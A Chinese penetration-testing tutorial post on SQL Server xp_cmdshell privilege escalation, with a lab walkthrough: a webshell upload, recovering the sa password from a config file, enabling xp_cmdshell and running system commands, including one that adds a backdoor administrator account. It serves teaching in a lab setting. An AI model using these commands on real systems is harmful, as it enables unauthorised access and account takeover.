当前位置:网站首页>110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、Windows Sqlserver xp_cmdshell存储过程提权
1、XP_CMDSHELL提权背景:
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,可以开启xp_cmdshell存储过程,以sqlserver的身份执行系统命令。但是不一定是系统权限,还要看管理员在一开始安装sqlserver的权限设置。
2、XP_CMDSHELL相关概念:
(1)xp_cmdshell存储过程【存储过程是:已预编译为一个可执行过程的一个或多个SQL语句的集合】,它是用来执行本机的cmd命令的,要求系统登陆有sa权限。默认情况下,sql server2005/2008在安装后,xp_cmdshell存储过程是禁用的,如果要使用它,可以按照以下语句开启:
Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`
序号 | 命令 | 注释 |
---|---|---|
1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
2 | RECONFIGURE; | #重新配置 |
3 | EXEC sp_configure ‘xp_cmdshell’,1; | #启用xp_cmdshell存储过程 |
4 | RECONFIGURE; | #重新配置 |
(2)执行系统命令格式:
序号 | 命令 | 注释 |
---|---|---|
1 | Exec master.dbo.xp_cmdshell ‘whoami’ | #查看当前用户 |
2 | Exec master.dbo.xp_cmdshell ‘net user’ | #查看所有用户 |
3 | Exec master.dbo.xp_cmdshell ‘systeminfo’ | #查看OS信息 |
4 | Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’ | #添加管理员组用户 |
(3)使用完了要及时禁用:Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
序号 | 命令 | 注释 |
---|---|---|
1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
2 | RECONFIGURE; | #重新配置 |
3 | EXEC sp_configure ‘xp_cmdshell’,0; | #禁用xp_cmdshell存储过程 |
4 | RECONFIGURE; | #重新配置 |
3、XP_CMDSHELL提权实战:
(1)实验环境:
1.靶机环境:
(1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(3)靶机链接:
URL:http://target_sys.com/upload.php
(3)实验过程:
第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马
【以上过程略】以下进行提权过程:
第二步:连接up.aspx大马【密码为admin】,并且点击[File Manager]文件管理模块,进行查找sqlserver的帐号和密码
连接大马:
sqlserver的连接数据一般的存储位置:web.config、config.asp、conn.aspx、database.aspx,不过该环境下的实在旁站(www.demo1.com)下的index.aspx内存储了as用户密码:123456
第三步:点击[DataBase]数据库模块,使用刚刚得到的sa账号连接mssql,同时发现SQL SERVER版本为2008
xp_cmdshell存储过程是用来执行本机的cmd命令的,要求系统登陆有sa权限
第四步:SQLExec下拉框中选择Add xp_cmdshell(SQL2005)这个选项,开启xp_cmdshell存储过程
第五步:利用刚刚启用的xp_cmdshell存储过程,以sqlserver的身份去执行一些系统命令
由于查看当前权限也是一个普通用户,所以只可以执行一些基础的命令,也可以上传溢出提权工具 再来提高当前用户的权限。
边栏推荐
- R language uses image of magick package_ Mosaic functions and images_ The flatten function stacks multiple pictures together to form a stack layers on top of each other
- MATLAB实现Huffman编码译码含GUI界面
- Flet教程之 16 Tabs 选项卡控件 基础入门(教程含源码)
- Apprentissage comparatif non supervisé des caractéristiques visuelles par les assignations de groupes de contrôle
- Fleet tutorial 19 introduction to verticaldivider separator component Foundation (tutorial includes source code)
- 超标量处理器设计 姚永斌 第9章 指令执行 摘录
- R Language Using Image of magick package Mosaic Function and Image La fonction flatten empile plusieurs images ensemble pour former des couches empilées sur chaque autre
- EasyUI learn to organize notes
- Tsinghua Yaoban programmers, online marriage was scolded?
- Stm32f1 and stm32subeide programming example -max7219 drives 8-bit 7-segment nixie tube (based on SPI)
猜你喜欢
【神经网络】卷积神经网络CNN【含Matlab源码 1932期】
请查收.NET MAUI 的最新学习资源
使用MeterSphere让你的测试工作持续高效
Test the foundation of development, and teach you to prepare for a fully functional web platform environment
HCIA复习整理
About how to install mysql8.0 on the cloud server (Tencent cloud here) and enable local remote connection
竟然有一半的人不知道 for 与 foreach 的区别???
Camera calibration (2): summary of monocular camera calibration
Excel公式知多少?
Solve the problem that vscode can only open two tabs
随机推荐
Design intelligent weighing system based on Huawei cloud IOT (STM32)
Onedns helps college industry network security
使用MeterSphere让你的测试工作持续高效
What development models did you know during the interview? Just read this one
一度辍学的数学差生,获得今年菲尔兹奖
[filter tracking] strapdown inertial navigation simulation based on MATLAB [including Matlab source code 1935]
Excel公式知多少?
[Yugong series] go teaching course 005 variables in July 2022
HCIA复习整理
Flet教程之 16 Tabs 选项卡控件 基础入门(教程含源码)
STM32入门开发 采用IIC硬件时序读写AT24C08(EEPROM)
Talk about SOC startup (VI) uboot startup process II
QT | multiple windows share a prompt box class
18 basic introduction to divider separator component of fleet tutorial (tutorial includes source code)
SwiftUI 教程之如何在 2 秒内实现自动滚动功能
R语言可视化分面图、假设检验、多变量分组t检验、可视化多变量分组分面箱图(faceting boxplot)并添加显著性水平、添加抖动数据点(jitter points)
What is high cohesion and low coupling?
R语言使用magick包的image_mosaic函数和image_flatten函数把多张图片堆叠在一起形成堆叠组合图像(Stack layers on top of each other)
[texture feature extraction] LBP image texture feature extraction based on MATLAB local binary mode [including Matlab source code 1931]
. Net Maui performance improvement